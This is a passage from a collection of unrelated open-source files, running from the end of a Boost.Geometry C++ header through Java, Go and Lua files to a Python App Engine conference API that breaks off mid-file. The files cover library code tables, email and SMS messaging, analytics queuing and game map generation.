namespace dispatch
{
template
<
typename GeometryTag1, typename GeometryTag2,
typename Geometry1, typename Geometry2,
std::size_t DimensionCount
>
struct disjoint
: detail::disjoint::general_areal<Geometry1, Geometry2>
{};
template <typename Point1, typename Point2, std::size_t DimensionCount>
struct disjoint<point_tag, point_tag, Point1, Point2, DimensionCount>
: detail::disjoint::point_point<Point1, Point2, 0, DimensionCount>
{};
template <typename Box1, typename Box2, std::size_t DimensionCount>
struct disjoint<box_tag, box_tag, Box1, Box2, DimensionCount>
: detail::disjoint::box_box<Box1, Box2, 0, DimensionCount>
{};
template <typename Point, typename Box, std::size_t DimensionCount>
struct disjoint<point_tag, box_tag, Point, Box, DimensionCount>
: detail::disjoint::point_box<Point, Box, 0, DimensionCount>
{};
template <typename Linestring1, typename Linestring2>
struct disjoint<linestring_tag, linestring_tag, Linestring1, Linestring2, 2>
: detail::disjoint::disjoint_linear<Linestring1, Linestring2>
{};
template <typename Linestring1, typename Linestring2>
struct disjoint<segment_tag, segment_tag, Linestring1, Linestring2, 2>
: detail::disjoint::disjoint_segment<Linestring1, Linestring2>
{};
template <typename Linestring, typename Segment>
struct disjoint<linestring_tag, segment_tag, Linestring, Segment, 2>
: detail::disjoint::disjoint_linear<Linestring, Segment>
{};
template
<
typename GeometryTag1, typename GeometryTag2,
typename Geometry1, typename Geometry2,
std::size_t DimensionCount
>
struct disjoint_reversed
{
static inline bool apply(Geometry1 const& g1, Geometry2 const& g2)
{
return disjoint
<
GeometryTag2, GeometryTag1,
Geometry2, Geometry1,
DimensionCount
>::apply(g2, g1);
}
};
} // namespace dispatch
#endif // DOXYGEN_NO_DISPATCH
/*!
\brief \brief_check2{are disjoint}
\ingroup disjoint
\tparam Geometry1 \tparam_geometry
\tparam Geometry2 \tparam_geometry
\param geometry1 \param_geometry
\param geometry2 \param_geometry
\return \return_check2{are disjoint}
*/
template <typename Geometry1, typename Geometry2>
inline bool disjoint(Geometry1 const& geometry1,
Geometry2 const& geometry2)
{
concept::check_concepts_and_equal_dimensions
<
Geometry1 const,
Geometry2 const
>();
return boost::mpl::if_c
<
reverse_dispatch<Geometry1, Geometry2>::type::value,
dispatch::disjoint_reversed
<
typename tag<Geometry1>::type,
typename tag<Geometry2>::type,
Geometry1,
Geometry2,
dimension<Geometry1>::type::value
>,
dispatch::disjoint
<
typename tag<Geometry1>::type,
typename tag<Geometry2>::type,
Geometry1,
Geometry2,
dimension<Geometry1>::type::value
>
>::type::apply(geometry1, geometry2);
}
}} // namespace boost::geometry
#endif // BOOST_GEOMETRY_ALGORITHMS_DISJOINT_HPP
| gpl-3.0 |
unsftn/bisis-v4 | src/com/gint/app/bisis4/format/HoldingsDataCodersJdbc.java | 8803 | package com.gint.app.bisis4.format;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
public class HoldingsDataCodersJdbc{
private static Log log = LogFactory.getLog(HoldingsDataCodersJdbc.class.getName());
static private List<UItem> sif_Odeljenje = new ArrayList<UItem>();
static private List<UItem> sif_Format = new ArrayList<UItem>();
static private List<UItem> sif_Status = new ArrayList<UItem>();
static private List<UItem> sif_Povez = new ArrayList<UItem>();
static private List<UItem> sif_Podlokacija = new ArrayList<UItem>();
static private List<UItem> sif_NacinNabavke = new ArrayList<UItem>();
static private List<UItem> sif_InternaOznaka = new ArrayList<UItem>();
static private List<UItem> sif_InvKnj = new ArrayList<UItem>();
static private List<UItem> sif_Dostupnost = new ArrayList<UItem>();
static private List<UItem> sif_992b = new ArrayList<UItem>();
static private List<UItem> sif_Librarian = new ArrayList<UItem>();
//zaduzivost statusa
static private HashMap<String, Integer> zaduzivostStatusa = new HashMap<String,Integer>();
static private String rashodCode = null;
public static final int ODELJENJE_CODER = 0;
public static final int FORMAT_CODER = 1;
public static final int STATUS_CODER = 2;
public static final int POVEZ_CODER = 3;
public static final int PODLOKACIJA_CODER = 4;
public static final int NACINNABAVKE_CODER = 5;
public static final int INTERNAOZNAKA_CODER = 6;
public static final int INVENTARNAKNJIGA_CODER = 7;
public static final int DOSTUPNOST_CODER = 8;
public static final int _992b_CODER = 9;
public static final int LIBRARIAN_CODER = 10;
/* static{
init();
}*/
public static void loadData(Connection conn){
try {
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("SELECT * FROM Odeljenje;");
sif_Odeljenje = createList(rs);
rs = stmt.executeQuery("SELECT * FROM SigFormat;");
sif_Format = createList(rs);
rs = stmt.executeQuery("SELECT * FROM Status_Primerka");
sif_Status = createList(rs);
rs.beforeFirst();
loadZaduzivost(rs);
rs = stmt.executeQuery("SELECT * FROM Povez");
sif_Povez = createList(rs);
rs = stmt.executeQuery("SELECT * FROM Podlokacija");
sif_Podlokacija = createList(rs);
rs = stmt.executeQuery("SELECT * FROM Nacin_nabavke");
sif_NacinNabavke = createList(rs);
rs = stmt.executeQuery("SELECT * FROM Interna_oznaka");
sif_InternaOznaka = createList(rs);
rs = stmt.executeQuery("SELECT * FROM Invknj");
sif_InvKnj = createList(rs);
rs = stmt.executeQuery("SELECT * FROM Dostupnost");
sif_Dostupnost = createList(rs);
rs = stmt.executeQuery("SELECT * FROM Sifarnik_992b");
sif_992b = createList(rs);
rs = stmt.executeQuery("SELECT username, concat(ime, ' ',prezime) as ime FROM Bibliotekari where obrada =1");
sif_Librarian = createList(rs);
rs.close();
stmt.close();
} catch (SQLException ex) {
log.fatal(ex);
}
}
/* public static void init(){
Connection conn = BisisApp.getConnection();
try {
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("SELECT * FROM Odeljenje;");
sif_Odeljenje = createList(rs);
rs = stmt.executeQuery("SELECT * FROM SigFormat;");
sif_Format = createList(rs);
rs = stmt.executeQuery("SELECT * FROM Status_Primerka");
sif_Status = createList(rs);
rs = stmt.executeQuery("SELECT * FROM Povez");
sif_Povez = createList(rs);
rs = stmt.executeQuery("SELECT * FROM Podlokacija");
sif_Podlokacija = createList(rs);
rs = stmt.executeQuery("SELECT * FROM Nacin_nabavke");
sif_NacinNabavke = createList(rs);
rs = stmt.executeQuery("SELECT * FROM Interna_oznaka");
sif_InternaOznaka = createList(rs);
rs = stmt.executeQuery("SELECT * FROM Invknj");
sif_InvKnj = createList(rs);
rs = stmt.executeQuery("SELECT * FROM Dostupnost");
sif_Dostupnost = createList(rs);
} catch (SQLException ex) {
log.fatal(ex);
}
}*/
private static List<UItem> createList(ResultSet rs){
List<UItem> list = new ArrayList<UItem>();
UItem ui;
try {
while(rs.next()){
ui = new UItem(rs.getString(1),rs.getString(2));
list.add(ui);
}
} catch (SQLException ex) {
log.error(ex);
}
return list;
}
/*
* vraca vrednost za prosledjeni kod iz prosledjene liste
* ili null ako sifre nema u listi
*/
private static String getValueFromList(List<UItem> sif_list,String code){
for(UItem ui:sif_list){
if(ui.getCode().equals(code)) return ui.getValue();
}
return null;
}
private static boolean containsCode(String code,List<UItem> list){
for(int i=0;i<list.size();i++){
if(list.get(i).getCode().equals(code)) return true;
}
return false;
}
private static void loadZaduzivost(ResultSet rs){
zaduzivostStatusa.clear();
try {
while(rs.next()){
zaduzivostStatusa.put(rs.getString(1).toLowerCase(),rs.getInt(3));
if (rs.getInt(3) == 2){
rashodCode = rs.getString(1);
}
}
} catch (SQLException ex) {
log.fatal(ex);
}
}
/*
* vraca vrednost za prosledjenu sifru i to iz bilo kog sifarnika
* u kom sifarniku ce se traziti sifra zavisi od prvog parametra
* u kom se prosledjuje jedna od konstanti definisanih u ovoj klasi
*
*/
public static String getValue(int coder_ref, String code){
switch(coder_ref){
case ODELJENJE_CODER: return getValueFromList(sif_Odeljenje, code);
case FORMAT_CODER: return getValueFromList(sif_Format, code);
case STATUS_CODER: return getValueFromList(sif_Status, code);
case POVEZ_CODER: return getValueFromList(sif_Povez, code);
case PODLOKACIJA_CODER: return getValueFromList(sif_Podlokacija, code);
case NACINNABAVKE_CODER: return getValueFromList(sif_NacinNabavke, code);
case INTERNAOZNAKA_CODER: return getValueFromList(sif_InternaOznaka, code);
case INVENTARNAKNJIGA_CODER: return getValueFromList(sif_InvKnj, code);
case DOSTUPNOST_CODER: return getValueFromList(sif_Dostupnost, code);
case _992b_CODER: return getValueFromList(sif_992b, code);
case LIBRARIAN_CODER: return getValueFromList(sif_Librarian, code);
}
return null;
}
public static List<UItem> getCoder(int coder_ref){
switch(coder_ref){
case ODELJENJE_CODER: return sif_Odeljenje;
case FORMAT_CODER: return sif_Format;
case STATUS_CODER: return sif_Status;
case POVEZ_CODER: return sif_Povez;
case PODLOKACIJA_CODER: return sif_Podlokacija;
case NACINNABAVKE_CODER: return sif_NacinNabavke;
case INTERNAOZNAKA_CODER: return sif_InternaOznaka;
case INVENTARNAKNJIGA_CODER: return sif_InvKnj;
case DOSTUPNOST_CODER: return sif_Dostupnost;
case _992b_CODER: return sif_992b;
case LIBRARIAN_CODER: return sif_Librarian;
}
return null;
}
public static int getZaduzivostStatusa(String code){
return zaduzivostStatusa.get(code.toLowerCase());
}
public static String getRashodCode(){
return rashodCode;
}
public static boolean isValidOdeljenje(String code){
if(sif_Odeljenje.size()>0)
return containsCode(code,sif_Odeljenje);
else return true;
}
public static boolean isValidFormat(String code){
return containsCode(code,sif_Format);
}
public static boolean isValidStatus(String code){
return containsCode(code,sif_Status);
}
public static boolean isValidPovez(String code){
return containsCode(code,sif_Povez);
}
public static boolean isValidPodlokacija(String code){
return containsCode(code,sif_Podlokacija);
}
public static boolean isValidNacinNabavke(String code){
return containsCode(code,sif_NacinNabavke);
}
public static boolean isValidInternaOznaka(String code){
return containsCode(code,sif_InternaOznaka);
}
public static boolean isValidDostupnost(String code){
return containsCode(code,sif_Dostupnost);
}
public static boolean isValid992b(String code){
return containsCode(code,sif_992b);
}
public static boolean isValidLibrarian(String code){
return containsCode(code,sif_Librarian);
}
}
| gpl-3.0 |
remigijusj/clubman | src/messaging.go | 3933 | package main
import (
"bytes"
"html/template"
"io/ioutil"
"encoding/json"
"net/http"
"net/url"
"time"
)
const (
contactEmail = 1
contactSMS = 2
)
type EmailAddress struct {
Email string `json:"email"`
}
type Personalization struct {
To []EmailAddress `json:"to"`
}
type EmailContent struct {
Type string `json:"type"`
Value string `json:"value"`
}
type EmailPayload struct {
Personalizations []Personalization `json:"personalizations"`
From EmailAddress `json:"from"`
ReplyTo EmailAddress `json:"reply_to,omitempty"`
Subject string `json:"subject"`
Content []EmailContent `json:"content"`
}
// NOTE: user not used now; might have preferred method attr
func (self UserContact) chooseMethod(when time.Time) int {
if isNear(when) {
return contactSMS
} else {
return contactEmail
}
}
func isNear(when time.Time) bool {
diff := when.Sub(time.Now())
return diff >= 0 && diff < conf.SmsInPeriod.Duration
}
var mails *template.Template
func loadMailTemplates(pattern string) {
mails = template.Must(template.New("").Funcs(helpers).ParseGlob("mails/*"))
}
func sendEmail(to, subject, body string, args ...string) bool {
if debugMode() {
logPrintf("DEBUG EMAIL to %s: %s\n", to, subject)
return true
}
content := EmailContent{
Type: "text/html",
Value: body,
}
email_to := EmailAddress{
Email: to,
}
personalization := Personalization{
To: []EmailAddress{email_to},
}
emailPayload := EmailPayload{
Personalizations: []Personalization{personalization},
From: EmailAddress{Email: conf.EmailsFrom},
ReplyTo: EmailAddress{Email: conf.EmailsFrom},
Subject: subject,
Content: []EmailContent{content},
}
if len(args) > 0 && args[0] != "" {
emailPayload.ReplyTo.Email = args[0]
}
var jsonPayload []byte
jsonPayload, err := json.Marshal(emailPayload)
if err != nil {
logPrintf("EMAIL build error: %v, %s, %s, %s\n", err, to, subject, string(jsonPayload))
}
logPrintf("SENDGRID PAYLOAD: %s\n", string(jsonPayload))
req, err := http.NewRequest("POST", conf.EmailsRoot, bytes.NewReader(jsonPayload))
if err != nil {
logPrintf("EMAIL request error: %v, %s\n", err, string(jsonPayload))
}
req.Header.Set("Authorization", "Bearer " + conf.EmailsKey)
req.Header.Set("Content-Type", "application/json")
client := &http.Client{}
resp, err := client.Do(req)
_ = resp
if err != nil {
logPrintf("EMAIL sending error: %v, %s, %s\n", err, to, subject)
}
return err == nil
/*
defer resp.Body.Close()
b, err := ioutil.ReadAll(resp.Body)
if err != nil {
logPrintf("EMAIL error: %v, %s, %s, [%s]\n", err, to, subject, b)
}
*/
}
func sendSMS(mobile, message string) bool {
if debugMode() {
logPrintf("DEBUG SMS to %s: %s\n", mobile, message)
return true
}
v := url.Values{}
v.Set("username", conf.SmsUser)
v.Set("password", conf.SmsPass)
v.Set("from", conf.SmsFrom)
v.Set("to", mobile)
v.Set("message", message)
v.Set("charset", "utf-8")
v.Set("resulttype", "urlencoded")
uri := conf.SmsHost + "?" + v.Encode()
resp, err := http.Get(uri)
if err != nil {
logPrintf("SMS error: sending %s\n", err)
return false
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
logPrintf("SMS error: response %s\n", err)
return false
}
val, err := url.ParseQuery(string(body))
if err != nil {
logPrintf("SMS error: response body %s (%s)\n", err, body)
return false
}
status := val.Get("status")
if status != "success" {
logPrintf("SMS error: response status %s (%s)\n", status, body)
}
return true
}
func compileMessage(name, lang string, data interface{}) string {
var buf bytes.Buffer
mails.Lookup(name).Funcs(transHelpers[lang]).Execute(&buf, data)
return string(bytes.TrimSpace(buf.Bytes()))
}
| gpl-3.0 |
shibme/jbotstats | src/me/shib/java/lib/jbotstats/AnalyticsWorker.java | 905 | package me.shib.java.lib.jbotstats;
import java.util.LinkedList;
import java.util.Queue;
public final class AnalyticsWorker {
private JBotStats jBotStats;
private Queue<AnalyticsData> analyticsDataQueue;
private AnalyticsProcessingThread analyticsProcessingThread;
public AnalyticsWorker(JBotStats jBotStats) {
this.jBotStats = jBotStats;
this.analyticsDataQueue = new LinkedList<>();
}
private synchronized void startAnalyticsProcessingThread() {
if ((analyticsProcessingThread == null) || (!analyticsProcessingThread.isAlive())) {
analyticsProcessingThread = new AnalyticsProcessingThread(jBotStats, analyticsDataQueue);
analyticsProcessingThread.start();
}
}
public void putData(AnalyticsData analyticsData) {
analyticsDataQueue.add(analyticsData);
startAnalyticsProcessingThread();
}
}
| gpl-3.0 |
Valansch/RedMew | map_gen/entities/deathworld.lua | 956 | local worm_names = {'small-worm-turret', 'medium-worm-turret', 'big-worm-turret'}
local spawner_names = {'biter-spawner', 'spitter-spawner'}
local factor = 8 / (1024 * 32)
local max_chance = 1/8
return function(_, _, world)
local d = math.sqrt(world.x * world.x + world.y * world.y)
if d < 300 then
return nil
end
if math.random(8) == 1 then
local lvl
if d < 400 then
lvl = 1
elseif d < 550 then
lvl = 2
else
lvl = 3
end
local chance = math.min(max_chance, d * factor)
if math.random() < chance then
local worm_id = math.random(1, lvl)
return {name = worm_names[worm_id]}
end
else
local chance = math.min(max_chance, d * factor)
if math.random() < chance then
local spawner_id = math.random(2)
return {name = spawner_names[spawner_id]}
end
end
end
| gpl-3.0 |
raginwombat/project4 | ConferenceCentral_Complete/conference.py | 40497 | #!/usr/bin/env python
"""
conference.py -- Udacity conference server-side Python App Engine API;
uses Google Cloud Endpoints
$Id: conference.py,v 1.25 2014/05/24 23:42:19 wesc Exp wesc $
created by wesc on 2014 apr 21
"""
__author__ = 'wesc+api@google.com (Wesley Chun)'
import logging
from datetime import datetime
import time
import endpoints
from protorpc import messages
from protorpc import message_types
from protorpc import remote
from google.appengine.api import memcache
from google.appengine.api import taskqueue
from google.appengine.ext import ndb
from models import ConflictException
from models import Profile
from models import ProfileMiniForm
from models import ProfileForm
from models import StringMessage
from models import BooleanMessage
from models import Conference
from models import ConferenceForm
from models import ConferenceForms
from models import ConferenceQueryForm
from models import ConferenceQueryForms
from models import TeeShirtSize
from models import Session
from models import SessionForm
from models import SessionForms
from models import WishList
from settings import WEB_CLIENT_ID
from settings import ANDROID_CLIENT_ID
from settings import IOS_CLIENT_ID
from settings import ANDROID_AUDIENCE
from utils import getUserId
EMAIL_SCOPE = endpoints.EMAIL_SCOPE
API_EXPLORER_CLIENT_ID = endpoints.API_EXPLORER_CLIENT_ID
MEMCACHE_ANNOUNCEMENTS_KEY = "RECENT_ANNOUNCEMENTS"
MEMCACHE_FEATURED_SPEAKERS_KEY = "FEATURED_SPEAKERS"
ANNOUNCEMENT_TPL = ('Last chance to attend! The following conferences '
'are nearly sold out: %s')
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
DEFAULTS = {
"city": "Default City",
"maxAttendees": 0,
"seatsAvailable": 0,
"topics": [ "Default", "Topic" ],
}
SESS_DEFAULT = {
'highlights': 'Default',
'location': 'Default',
'typeofSession': [],
'speakers': [],
'startDate': '1900-01-01',
'startTime': '00:00',
'endTime': '00:00',
'endDate': '1900-01-01',
'maxAttendees': 0,
'seatsAvailable': 0
}
OPERATORS = {
'EQ': '=',
'GT': '>',
'GTEQ': '>=',
'LT': '<',
'LTEQ': '<=',
'NE': '!='
}
FIELDS = {
'CITY': 'city',
'TOPIC': 'topics',
'MONTH': 'month',
'MAX_ATTENDEES': 'maxAttendees',
}
CONF_GET_REQUEST = endpoints.ResourceContainer(
message_types.VoidMessage,
websafeConferenceKey=messages.StringField(1),
)
CONF_POST_REQUEST = endpoints.ResourceContainer(
ConferenceForm,
websafeConferenceKey=messages.StringField(1),
)
SESS_GET_REQ = endpoints.ResourceContainer(
message_types.VoidMessage,
websafeConferenceKey=messages.StringField(1),
)
SESS_GET_REQ_TYPE = endpoints.ResourceContainer(
websafeConferenceKey=messages.StringField(1),
sessionType = messages.StringField(2)
)
SESS_GET_REQ_SPEAK = endpoints.ResourceContainer(
speakers = messages.StringField(1, repeated=True)
)
SESS_CREATE_REQ = endpoints.ResourceContainer(
name = messages.StringField(1, required=True),
highlights = messages.StringField(2),
location = messages.StringField(3),
typeofSession = messages.StringField(4, repeated=True),
speakers = messages.StringField(5, repeated=True ),
startDate = messages.StringField(6),
startTime = messages.StringField(7),
endTime = messages.StringField(8),
endDate = messages.StringField(9),
maxAttendees = messages.IntegerField(10),
seatsAvailable = messages.IntegerField(11),
#organizerUserId = messages.StringField(12),
websafeConferenceKey=messages.StringField(12)
)
SESS_WISHLIST_REQ = endpoints.ResourceContainer(
websafeSessionKey = messages.StringField(1)
)
SESS_GET_REQ_TIME = endpoints.ResourceContainer(
searchTime = messages.StringField(1),
websafeConferenceKey = messages.StringField(2)
)
TASK3_SOLUTION_REQ= endpoints.ResourceContainer(
searchTime = messages.StringField(1),
sessionType = messages.StringField(2, repeated=True)
)
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
@endpoints.api(name='conference', version='v1', audiences=[ANDROID_AUDIENCE],
allowed_client_ids=[WEB_CLIENT_ID, API_EXPLORER_CLIENT_ID, ANDROID_CLIENT_ID, IOS_CLIENT_ID],
scopes=[EMAIL_SCOPE])
class ConferenceApi(remote.Service):
"""Conference API v0.1"""
# - - - Conference objects - - - - - - - - - - - - - - - - -
def _copyConferenceToForm(self, conf, displayName):
"""Copy relevant fields from Conference to ConferenceForm."""
cf = ConferenceForm()
for field in cf.all_fields():
if hasattr(conf, field.name):
# convert Date to date string; just copy others
if field.name.endswith('Date'):
setattr(cf, field.name, str(getattr(conf, field.name)))
else:
setattr(cf, field.name, getattr(conf, field.name))
elif field.name == "websafeKey":
setattr(cf, field.name, conf.key.urlsafe())
if displayName:
setattr(cf, 'organizerDisplayName', displayName)
cf.check_initialized()
return cf
def _createConferenceObject(self, request):
"""Create or update Conference object, returning ConferenceForm/request."""
# preload necessary data items
user = endpoints.get_current_user()
if not user:
raise endpoints.UnauthorizedException('Authorization required')
user_id = getUserId(user)
if not request.name:
raise endpoints.BadRequestException("Conference 'name' field required")
# copy ConferenceForm/ProtoRPC Message into dict
data = {field.name: getattr(request, field.name) for field in request.all_fields()}
del data['websafeKey']
del data['organizerDisplayName']
# add default values for those missing (both data model & outbound Message)
for df in DEFAULTS:
if data[df] in (None, []):
data[df] = DEFAULTS[df]
setattr(request, df, DEFAULTS[df])
# convert dates from strings to Date objects; set month based on start_date
if data['startDate']:
data['startDate'] = datetime.strptime(data['startDate'][:10], "%Y-%m-%d").date()
data['month'] = data['startDate'].month
else:
data['month'] = 0
if data['endDate']:
data['endDate'] = datetime.strptime(data['endDate'][:10], "%Y-%m-%d").date()
# set seatsAvailable to be same as maxAttendees on creation
if data["maxAttendees"] > 0:
data["seatsAvailable"] = data["maxAttendees"]
# generate Profile Key based on user ID and Conference
# ID based on Profile key get Conference key from ID
p_key = ndb.Key(Profile, user_id)
c_id = Conference.allocate_ids(size=1, parent=p_key)[0]
c_key = ndb.Key(Conference, c_id, parent=p_key)
data['key'] = c_key
data['organizerUserId'] = request.organizerUserId = user_id
# create Conference, send email to organizer confirming
# creation of Conference & return (modified) ConferenceForm
Conference(**data).put()
taskqueue.add(params={'email': user.email(),
'conferenceInfo': repr(request)},
url='/tasks/send_confirmation_email'
)
return request
@ndb.transactional()
def _updateConferenceObject(self, request):
user = endpoints.get_current_user()
if not user:
raise endpoints.UnauthorizedException('Authorization required')
user_id = getUserId(user)
# copy ConferenceForm/ProtoRPC Message into dict
data = {field.name: getattr(request, field.name) for field in request.all_fields()}
# update existing conference
conf = ndb.Key(urlsafe=request.websafeConferenceKey).get()
# check that conference exists
if not conf:
raise endpoints.NotFoundException(
'No conference found with key: %s' % request.websafeConferenceKey)
# check that user is owner
if user_id != conf.organizerUserId:
raise endpoints.ForbiddenException(
'Only the owner can update the conference.')
# Not getting all the fields, so don't create a new object; just
# copy relevant fields from ConferenceForm to Conference object
for field in request.all_fields():
data = getattr(request, field.name)
# only copy fields where we get data
if data not in (None, []):
# special handling for dates (convert string to Date)
if field.name in ('startDate', 'endDate'):
data = datetime.strptime(data, "%Y-%m-%d").date()
if field.name == 'startDate':
conf.month = data.month
# write to Conference object
setattr(conf, field.name, data)
conf.put()
prof = ndb.Key(Profile, user_id).get()
return self._copyConferenceToForm(conf, getattr(prof, 'displayName'))
@endpoints.method(ConferenceForm, ConferenceForm, path='conference',
http_method='POST', name='createConference')
def createConference(self, request):
"""Create new conference."""
return self._createConferenceObject(request)
@endpoints.method(CONF_POST_REQUEST, ConferenceForm,
path='conference/{websafeConferenceKey}',
http_method='PUT', name='updateConference')
def updateConference(self, request):
"""Update conference w/provided fields & return w/updated info."""
return self._updateConferenceObject(request)
@endpoints.method(CONF_GET_REQUEST, ConferenceForm,
path='conference/{websafeConferenceKey}',
http_method='GET', name='getConference')
def getConference(self, request):
"""Return requested conference (by websafeConferenceKey)."""
# get Conference object from request; bail if not found
conf = ndb.Key(urlsafe=request.websafeConferenceKey).get()
if not conf:
raise endpoints.NotFoundException(
'No conference found with key: %s' % request.websafeConferenceKey)
prof = conf.key.parent().get()
# return ConferenceForm
return self._copyConferenceToForm(conf, getattr(prof, 'displayName'))
@endpoints.method(message_types.VoidMessage, ConferenceForms,
path='getConferencesCreated',
http_method='POST', name='getConferencesCreated')
def getConferencesCreated(self, request):
"""Return conferences created by user."""
# make sure user is authed
user = endpoints.get_current_user()
if not user:
raise endpoints.UnauthorizedException('Authorization required')
user_id = getUserId(user)
# create ancestor query for all key matches for this user
confs = Conference.query(ancestor=ndb.Key(Profile, user_id))
prof = ndb.Key(Profile, user_id).get()
# return set of ConferenceForm objects per Conference
return ConferenceForms(
items=[self._copyConferenceToForm(conf, getattr(prof, 'displayName')) for conf in confs]
)
def _getQuery(self, request):
"""Return formatted query from the submitted filters."""
q = Conference.query()
inequality_filter, filters = self._formatFilters(request.filters)
# If exists, sort on inequality filter first
if not inequality_filter:
q = q.order(Conference.name)
else:
q = q.order(ndb.GenericProperty(inequality_filter))
q = q.order(Conference.name)
for filtr in filters:
if filtr["field"] in ["month", "maxAttendees"]:
filtr["value"] = int(filtr["value"])
formatted_query = ndb.query.FilterNode(filtr["field"], filtr["operator"], filtr["value"])
q = q.filter(formatted_query)
return q
def _formatFilters(self, filters):
"""Parse, check validity and format user supplied filters."""
formatted_filters = []
inequality_field = None
for f in filters:
filtr = {field.name: getattr(f, field.name) for field in f.all_fields()}
try:
filtr["field"] = FIELDS[filtr["field"]]
filtr["operator"] = OPERATORS[filtr["operator"]]
except KeyError:
raise endpoints.BadRequestException("Filter contains invalid field or operator.")
# Every operation except "=" is an inequality
if filtr["operator"] != "=":
# check if inequality operation has been used in previous filters
# disallow the filter if inequality was performed on a different field before
# track the field on which the inequality operation is performed
if inequality_field and inequality_field != filtr["field"]:
raise endpoints.BadRequestException("Inequality filter is allowed on only one field.")
else:
inequality_field = filtr["field"]
formatted_filters.append(filtr)
return (inequality_field, formatted_filters)
@endpoints.method(ConferenceQueryForms, ConferenceForms,
path='queryConferences',
http_method='POST',
name='queryConferences')
def queryConferences(self, request):
"""Query for conferences."""
conferences = self._getQuery(request)
# need to fetch organiser displayName from profiles
# get all keys and use get_multi for speed
organisers = [(ndb.Key(Profile, conf.organizerUserId)) for conf in conferences]
profiles = ndb.get_multi(organisers)
# put display names in a dict for easier fetching
names = {}
for profile in profiles:
names[profile.key.id()] = profile.displayName
# return individual ConferenceForm object per Conference
return ConferenceForms(
items=[self._copyConferenceToForm(conf, names[conf.organizerUserId]) for conf in \
conferences]
)
# - - - Profile objects - - - - - - - - - - - - - - - - - - -
def _copyProfileToForm(self, prof):
"""Copy relevant fields from Profile to ProfileForm."""
# copy relevant fields from Profile to ProfileForm
pf = ProfileForm()
for field in pf.all_fields():
if hasattr(prof, field.name):
# convert t-shirt string to Enum; just copy others
if field.name == 'teeShirtSize':
setattr(pf, field.name, getattr(TeeShirtSize, getattr(prof, field.name)))
else:
setattr(pf, field.name, getattr(prof, field.name))
pf.check_initialized()
return pf
def _getProfileFromUser(self):
"""Return user Profile from datastore, creating new one if non-existent."""
# make sure user is authed
user = endpoints.get_current_user()
if not user:
raise endpoints.UnauthorizedException('Authorization required')
# get Profile from datastore
user_id = getUserId(user)
p_key = ndb.Key(Profile, user_id)
profile = p_key.get()
# create new Profile if not there
if not profile:
profile = Profile(
key = p_key,
displayName = user.nickname(),
mainEmail= user.email(),
teeShirtSize = str(TeeShirtSize.NOT_SPECIFIED),
)
profile.put()
return profile # return Profile
def _doProfile(self, save_request=None):
"""Get user Profile and return to user, possibly updating it first."""
# get user Profile
prof = self._getProfileFromUser()
# if saveProfile(), process user-modifyable fields
if save_request:
for field in ('displayName', 'teeShirtSize'):
if hasattr(save_request, field):
val = getattr(save_request, field)
if val:
setattr(prof, field, str(val))
#if field == 'teeShirtSize':
# setattr(prof, field, str(val).upper())
#else:
# setattr(prof, field, val)
prof.put()
# return ProfileForm
return self._copyProfileToForm(prof)
@endpoints.method(message_types.VoidMessage, ProfileForm,
path='profile', http_method='GET', name='getProfile')
def getProfile(self, request):
"""Return user profile."""
return self._doProfile()
@endpoints.method(ProfileMiniForm, ProfileForm,
path='profile', http_method='POST', name='saveProfile')
def saveProfile(self, request):
"""Update & return user profile."""
return self._doProfile(request)
# - - - Announcements - - - - - - - - - - - - - - - - - - - -
@staticmethod
def _cacheAnnouncement():
"""Create Announcement & assign to memcache; used by
memcache cron job & putAnnouncement().
"""
confs = Conference.query(ndb.AND(
Conference.seatsAvailable <= 5,
Conference.seatsAvailable > 0)
).fetch(projection=[Conference.name])
if confs:
# If there are almost sold out conferences,
# format announcement and set it in memcache
announcement = ANNOUNCEMENT_TPL % (
', '.join(conf.name for conf in confs))
memcache.set(MEMCACHE_ANNOUNCEMENTS_KEY, announcement)
else:
# If there are no sold out conferences,
# delete the memcache announcements entry
announcement = ""
memcache.delete(MEMCACHE_ANNOUNCEMENTS_KEY)
return announcement
@endpoints.method(message_types.VoidMessage, StringMessage,
path='conference/announcement/get',
http_method='GET', name='getAnnouncement')
def getAnnouncement(self, request):
"""Return Announcement from memcache."""
return StringMessage(data=memcache.get(MEMCACHE_ANNOUNCEMENTS_KEY) or "")
# - - - Registration - - - - - - - - - - - - - - - - - - - -
@ndb.transactional(xg=True)
def _conferenceRegistration(self, request, reg=True):
"""Register or unregister user for selected conference."""
retval = None
prof = self._getProfileFromUser() # get user Profile
# check if conf exists given websafeConfKey
# get conference; check that it exists
wsck = request.websafeConferenceKey
conf = ndb.Key(urlsafe=wsck).get()
if not conf:
raise endpoints.NotFoundException(
'No conference found with key: %s' % wsck)
# register
if reg:
# check if user already registered otherwise add
if wsck in prof.conferenceKeysToAttend:
raise ConflictException(
"You have already registered for this conference")
# check if seats avail
if conf.seatsAvailable <= 0:
raise ConflictException(
"There are no seats available.")
# register user, take away one seat
prof.conferenceKeysToAttend.append(wsck)
conf.seatsAvailable -= 1
retval = True
# unregister
else:
# check if user already registered
if wsck in prof.conferenceKeysToAttend:
# unregister user, add back one seat
prof.conferenceKeysToAttend.remove(wsck)
conf.seatsAvailable += 1
retval = True
else:
retval = False
# write things back to the datastore & return
prof.put()
conf.put()
return BooleanMessage(data=retval)
@endpoints.method(message_types.VoidMessage, ConferenceForms,
path='conferences/attending',
http_method='GET', name='getConferencesToAttend')
def getConferencesToAttend(self, request):
"""Get list of conferences that user has registered for."""
prof = self._getProfileFromUser() # get user Profile
conf_keys = [ndb.Key(urlsafe=wsck) for wsck in prof.conferenceKeysToAttend]
conferences = ndb.get_multi(conf_keys)
# get organizers
organisers = [ndb.Key(Profile, conf.organizerUserId) for conf in conferences]
profiles = ndb.get_multi(organisers)
# put display names in a dict for easier fetching
names = {}
for profile in profiles:
names[profile.key.id()] = profile.displayName
# return set of ConferenceForm objects per Conference
return ConferenceForms(items=[self._copyConferenceToForm(conf, names[conf.organizerUserId])\
for conf in conferences]
)
@endpoints.method(CONF_GET_REQUEST, BooleanMessage,
path='conference/{websafeConferenceKey}',
http_method='POST', name='registerForConference')
def registerForConference(self, request):
